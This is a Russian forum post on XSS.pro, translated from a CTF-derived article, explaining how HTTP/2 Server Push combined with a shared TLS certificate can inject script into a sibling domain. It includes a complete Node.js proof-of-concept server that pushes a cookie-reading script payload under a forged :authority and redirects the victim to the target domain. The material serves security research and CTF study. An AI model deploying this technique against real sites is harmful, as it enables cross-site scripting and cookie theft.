• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Волшебный способ XSS в HTTP/2

вавилонец

CPU register
Пользователь
Регистрация
17.06.2021
Сообщения
1 116
Реакции
1 265
Оригинальная статья
Переведено стециально для xss.pro
Любимому форуму от Jolah Milovski

В случае с общими сертификатами, если у нас есть контроль над одним из доменных имен и его сертификат, мы можем создать сервер HTTP/2 с помощью механизма HTTP/2 Server Push, что может привести к появлению сайтов HTTP/2 под другим общим сертификатом. доменные имена не будут работать. Global XSS


Условия использования:


  • Совместное использование сертификата: оба доменных имени должны иметь общий сертификат
  • HTTP/2: целевой сервер должен поддерживать HTTP/2.
  • Получено право собственности на доменное имя и соответствующий сертификат

HTTP/2 && Push-уведомление сервера


Механизм Server Push — это новая функция в протоколе HTTP/2.Мы можем кратко понять предысторию и рабочий механизм HTTP/2 и Server Push.


Фон


HTTP, протокол передачи гипертекста, является основой для передачи данных по сети. HTTP/1.1 хорошо зарекомендовал себя в течение своего жизненного цикла, но с развитием Интернета его протокол не смог удовлетворить требования к производительности современных веб-приложений.Хотя HTTP/1.1 пытается добавить такие механизмы, как Pipline для оптимизации параллелизма и другие проблемы, он по-прежнему не может решить такие проблемы, как блокировка начала очереди, отправка дублирующихся данных заголовков и низкая эффективность использования одного TCP-канала, что приводит к снижению производительности сети.


HTTP/2 — это первое крупное обновление протокола HTTP с тех пор, как HTTP/1.1 был впервые опубликован IETF в 1997 году, и оно обеспечивает значительные улучшения по сравнению с предыдущими версиями, предлагая множество новых функций, функций безопасности и т. д. Например, новый формат двоичных сообщений, мультиплексирование, сжатие заголовков, отправка на сервер и другие функции, сегодня мы в основном представляем эту функцию — это отправка на сервер (Server Push).


Просмотр в HTTP/1.x


Давайте сначала посмотрим на рабочий процесс без Server Push в общем процессе веб-доступа:


  1. Сначала браузер запрашивает с сервера главную страницу index.html, а сервер отвечает содержимым index.html.
  2. После того, как браузер получает ответ от домашней страницы, он начинает анализировать html-тег домашней страницы и обнаруживает, что для построения дерева DOM необходимы CSS/GIF/JS и другие ресурсы.
  3. Инициировать запрос контента для CSS/GIF/JS на сервер
  4. Браузер извлекает и анализирует содержимое, такое как JS и CSS, а затем переходит к запросу зависимых ресурсов.

Фото с https://www.smashingmagazine.com/2017/04/guide-http2-server-push/


Это традиционный метод запроса веб-страницы, но мы также можем увидеть некоторые проблемы из-за него.Например, для современных веб-страниц требуется как минимум два раунда связи HTTP для полной загрузки страницы, и если вы столкнетесь с сетевыми проблемами при запросе CSS-файлы или файл слишком велик, это приведет к загромождению содержимого страницы и значительно ухудшит работу пользователя.
Конечно, в настоящее время существуют некоторые решения, такие как слияние внешних ресурсов с веб-файлами для сокращения HTTP-запросов, например размещение изображений в URI в формате Base64 или использование предварительной загрузки.

Оба метода имеют недостатки. Хотя первый способ сокращает количество HTTP-запросов, он нарушает принцип разделения труда, объединяя в одном файле разные типы кодов. Второй метод просто увеличивает время загрузки и не уменьшает HTTP-запросы.


Что такое пуш-сервер


HTTP/2 Server Push позволяет HTTP/2 -совместимому серверу отправлять ресурсы HTTP/2-совместимому клиенту до того, как клиент запросит их. Server Push — это метод повышения производительности, направленный на сокращение задержки путем упреждающей загрузки ресурсов, даже до того, как клиент узнает, что они потребуются.
HTTP/2 Server Push не является механизмом уведомления от сервера к клиенту. Вместо этого выдвинутые ресурсы используются клиентом, когда в противном случае он мог бы в любом случае создать запрос на получение ресурса.

Сервер HTTP/2 push позволяет серверу, совместимому с HTTP/2, отправлять ресурсы клиенту, совместимому с HTTP/2, до того, как клиент запросит ресурс. Server Push — это метод повышения производительности, предназначенный для уменьшения задержки за счет упреждающей загрузки ресурсов, даже до того, как клиент узнает, что они будут запрошены.


Например, браузер запрашивает только index.html, но сервер отправит браузеру все файлы index.html/style.css/example.png, так что потребуется только один раунд HTTP-связи, и браузер получит все ресурсов, тем самым повышая производительность.


Но отправка сервера HTTP/2 не является механизмом уведомления от сервера к клиенту, вместо этого клиент использует переданный ресурс, когда клиент может сделать запрос на получение ресурса.


Как это работает


Давайте кратко рассмотрим рабочий процесс Server Push:


  1. Сначала браузер запрашивает с сервера главную страницу index.html, а сервер отвечает содержимым index.html.
  2. В то же время сервер предсказывает, что клиенту необходимо запросить статические ресурсы, такие как styles.css, а затем отправляет содержимое styles.css клиенту без запроса клиентом стилей.css.
  3. Браузер по очереди получает содержимое, такое как index.html/styles.css, и завершает синтаксический анализ древовидной структуры DOM.
https://www.smashingmagazine.com/2017/04/guide-http2-server-push/


Конечно, приведенный выше «прогноз» требует некоторой простой настройки сервера, например, если мы используем Nginx, нам нужно использовать его в Nginx. http2_pushНастройте следующим образом:

Код:
server {
    listen 443 ssl http2;
    server_name _;
    ssl_certificate /parth/to/cert.pem;
    ssl_certificate_key /path/to/key.pem;
    root /var/www/html/;

    http2_push /styles.css;
    location = / {
        index index.html;
    }
}

После того, как сервер готов к HTTP/2 Push, когда сервер получает запрос на index.html, сервер может «предсказать», что клиент должен затем сделать запрос на ресурсы, такие как styles.css. Кратко проанализируем из пакета трафика:


  • Сервер получает фрейм HEADERS, запрашивающий index.html в Stream ID 1, он может «предсказать» потребность в стилях.css и отправить стили.css в соответствии с конфигурацией сервера.
  • Сервер снова отправляет PUSH_PROMISE для styles.css в Stream ID 1, эти кадры примерно эквивалентны запросу браузера.
  • Сервер отправляет кадр HEADERS в Stream ID 1 в ответ на запрос index.html.
  • Сервер отправляет кадр DATA с содержимым index.html, все еще в Stream ID 1
  • Сервер отправляет кадр HEADERS в ответ на styles.css в потоке 2 (HEADERS[2]/DATA[2])
1660411433865.png


Нам нужно поместить соответствующие загруженные ресурсы в index.html, чтобы увидеть, как Chrome отображает push-ресурсы, например:

Код:
<head><link rel="icon" href="data:,"><link rel="stylesheet" href="styles.css"></head>
This is push index

Где ошибка


Поскольку это push-ресурс, что, если мы загрузим какие-то другие ресурсы через домены? Можно ли также добиться через Push? В конце концов, междоменные запросы к некоторым CSS/JS и другим ресурсам сегодня очень распространены в Интернете, так что же делать в HTTP/2 Push?


В некоторых материалах китайского Интернета некоторые материалы явно говорят «нет», некоторые говорят «да», и, наконец, нашел ответ в HTTP/2 push, это сложнее, чем я думал, блог:


Как владельцы сайта developer.google.com/web, мы могли бы заставить наш сервер отправить ответ, содержащий все, что мы хотели для android.com, и настроить его на кеширование на год. Простой выборки будет достаточно, чтобы перетащить это в кэш HTTP. Затем, если наши посетители перейдут на android.com, они увидят надпись «NATIVE SUX — PWA RULEZ» крупным розовым шрифтом без шрифта или что-то еще, что мы захотим.
Конечно, мы бы этого не сделали, мы любим Android. Я просто говорю... Андроид: если ты будешь лезть в сеть, мы тебя забаним.
Хорошо, хорошо, я шучу, но вышесказанное действительно работает. Вы не можете отправлять активы для любого источника , но вы можете отправлять ресурсы для источников, для которых ваше соединение является «авторитетным».
Если вы посмотрите на сертификат для разработчиков.google.com, вы увидите, что он авторитетен для всех видов происхождения Google, включая android.com.

Мы вернемся к HTTP/2 RFC 7540#Section-8.2 :


Сервер ДОЛЖЕН включать значение в поле псевдозаголовка «:authority», для которого сервер является полномочным (см. Раздел 10.1). Клиент ДОЛЖЕН рассматривать PUSH_PROMISE, для которого сервер не уполномочен, как ошибку потока (раздел 5.4.2) типа PROTOCOL_ERROR.
HTTP/2 опирается на определение полномочий HTTP/1.1 для определения того, является ли сервер полномочным для предоставления данного ответа (см. [RFC7230], раздел 9.1). Это зависит от разрешения локального имени для схемы URI «http» и удостоверения аутентифицированного сервера для схемы «https» (см. [RFC2818], раздел 3).

Хотя в RFC нет четкого указания на то, что вы можете отправлять междоменные ресурсы, вы должны проверить ресурсы Push. :authorityглава. И в соответствии с приведенным выше содержанием блога, хотя мы не можем передавать какие-либо (любые) ресурсы домена, мы можем передавать ресурсы других доменных имен в соответствии с общим доступом к сертификату, если настройки хороши. :authorityПросто сделай это.


Давай попробуем!


Сначала мы используем mkcert для создания общего доменного сертификата для тестирования:
Код:
mkcert -key-file key.pem -cert-file cert.pem a.zedd.ovo b.zedd.ovo
Создайте сервер HTTP/2 со следующим кодом nodejs:

Код:
const http2 = require("http2");
const path = require("path");
const fs = require("fs");

const { HTTP2_HEADER_PATH, HTTP2_HEADER_AUTHORITY } = http2.constants;

const MAIL_DOMAIN = "b.zedd.ovo";
const EXPLOIT_DOMAIN = "a.zedd.ovo";

const server = http2.createSecureServer(
{
cert: fs.readFileSync(path.join(__dirname, "cert.pem")),
key: fs.readFileSync(path.join(__dirname, "key.pem")),
origins: [`https://${EXPLOIT_DOMAIN}`, `https://${MAIL_DOMAIN}`],
},
(req, res) => {
if (req.url === "/") {
res.end("This is the HTTP/2 Server\n");
} else if (req.url === "/set") {
res.setHeader("Set-Cookie", `mycookie=test; domain=${MAIL_DOMAIN}; path=/; expires=${new Date(Date.now() + 60 * 1000).toUTCString()}`);
res.end("Set cookie: mycookie=test\n");
} else if (req.url === "/csp") {
res.setHeader("Content-Security-Policy", "default-src 'self'");
res.end("Set CSP\n");
} else if (req.url === "/push") {
res.stream.pushStream(
{
[HTTP2_HEADER_AUTHORITY]: MAIL_DOMAIN,
[HTTP2_HEADER_PATH]: "/",
},
(err, pushStream, headers) => {
console.log("push");
pushStream.on("error", console.error);

let content = "<script>alert(document.cookie);</script>";

pushStream.respond({
"content-length": content.length,
"content-type": "text/html",
 });

pushStream.end(content);
}
 );

let content = `<meta http-equiv="refresh" content="1;url=https://${MAIL_DOMAIN}/" />`;

res.stream.respond({
"content-length": content.length,
"content-type": "text/html",
});
res.stream.end(content);
}
}
);

server.listen(443);

Ключевым моментом является то, что нам нужно установить [HTTP2_HEADER_AUTHORITY]: MAIL_DOMAINПоле проверки подлинности сертификата должно соответствовать имени домена в совместном использовании сертификата.


Все, что нам нужно сделать, это:


  1. Сначала посетите https://b.zedd.ovo/set , чтобы установить файл cookie для доменного имени b.
  2. Посетите https://a.zedd.ovo/push , чтобы позволить серверу использовать ресурсы доменного имени b.
  3. быть Х

https://s1.ax1x.com/2022/08/11/vGEiIs.gif - там гифт не хочет залазит сюда на форум(

Предположим сценарий, мы контролируем a.zedd.ovo и имеем сертификат, а доменное имя разделяет сертификат с b.zedd.ovo, что происходит дальше:


  1. через https://b.zedd.ovo/set , ограничен политикой того же происхождения, мы не можем получить файл cookie домена b с a.zedd.ovo.
  2. Через доступ жертвы к https://a.zedd.ovo/push мы проталкиваем ресурс домена b через HTTP/2 Push и устанавливаем обновление на станции a для перехода на станцию b. В это время, поскольку он находится на станции a, даже если он не перейдет сразу, браузер не будет загружать ресурсы, которые мы выдвигаем, потому что наш :authorityОн принадлежит станции b и может быть загружен только на станции b.
  3. После того, как жертва перейдет на станцию b, браузер попытается загрузить только что запушенный ресурс, проверьте :authorityи другие элементы, выполнить требования загрузки текущего доменного имени, загрузить скрипт и завершить атаку

Резюме


Хотя кажется, что эта атака больше Магическая, о преимуществах больше говорить не приходится, но если хорошенько подумать, ограничения все же относительно велики:


  1. CSP по-прежнему может быть ограничен: поскольку исполняемый ресурс все еще находится в контексте атакуемой страницы, он все равно будет ограничен, если в атакованном домене все еще есть CSP.
  2. Предпосылок слишком много: требуемые права управления доменным именем, требования к сертификатам и т. д. относительно ограничены.
  3. Статус и будущее HTTP/2 Server Push:
  4. HTTP/2 Server Push — это параметр клиента, который в настоящее время включен по умолчанию. Будет ли этот параметр включен во время согласования рукопожатия между клиентом и сервером. Некоторые CDN не поддерживают Server Push
  5. Хотя механизм Server Push выглядит великолепно, на практике этот механизм часто приводит к потере полосы пропускания, поскольку сервер редко знает, какие ресурсы загружены клиентом, и передает один и тот же ресурс несколько раз.
  6. Chrome намерен удалить поддержку по умолчанию для HTTP/2 Server Push в будущем: намерение удалить: HTTP/2 и gQUIC server push

Конечно, использование этого механизма касается не только XSS, и я думаю, что проблема Push может заключаться не только в этом.


Этот CTF в основном использует эту технику для XSS.Конечно, предыдущая часть также включает в себя получение сертификатов и т. д. Эта часть не такая захватывающая, как техника HTTP/2 Push, поэтому я не буду повторять ее здесь.Если вам интересно в других темах конкурса CTF Студенты, добро пожаловать на "Веселый веб CTF": https://t.zsxq.com/047y7iAuf
 

Вложения

  • 1660411571671.png
    1660411571671.png
    35 КБ · Просмотры: 41
Последнее редактирование:
пробовал перегрузить с сайта - не пошло( посмотри на оригинальной статье) я хз как исправить
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх